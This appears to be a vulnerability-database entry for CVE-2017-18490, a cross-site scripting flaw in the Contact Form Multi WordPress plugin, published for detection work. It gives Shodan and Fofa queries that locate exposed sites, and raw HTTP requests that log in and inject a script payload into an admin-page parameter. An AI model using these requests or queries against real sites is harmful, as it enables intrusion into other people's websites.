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CVE-2017-18490: Contact Form Multi by BestWebSoft < 1.2.1 - Cross-Site Scripting

TitleContact Form Multi by BestWebSoft < 1.2.1 - Cross-Site Scripting
Authorluisfelipe146
SeverityMedium
ImpactAuthenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
RemediationUpdate to version 1.2.1 or later.
CVSS Score6.1
EPSS Score0.00104
CVE IDCVE-2017-18490
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/contact-form-multi/
Fofa Querybody=/wp-content/plugins/contact-form-multi/
Tags cve cve2017 wordpress bws-contact-form wpscan wp-plugin xss authenticated contact-form-multi bestwebsoft vuln

🔍 Vulnerability Description

The contact-form-multi plugin before 1.2.1 for WordPress has multiple XSS issues.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=TzJpqa&pwd=NjnrU7&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/contact-form-multi/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18490.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-18490.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A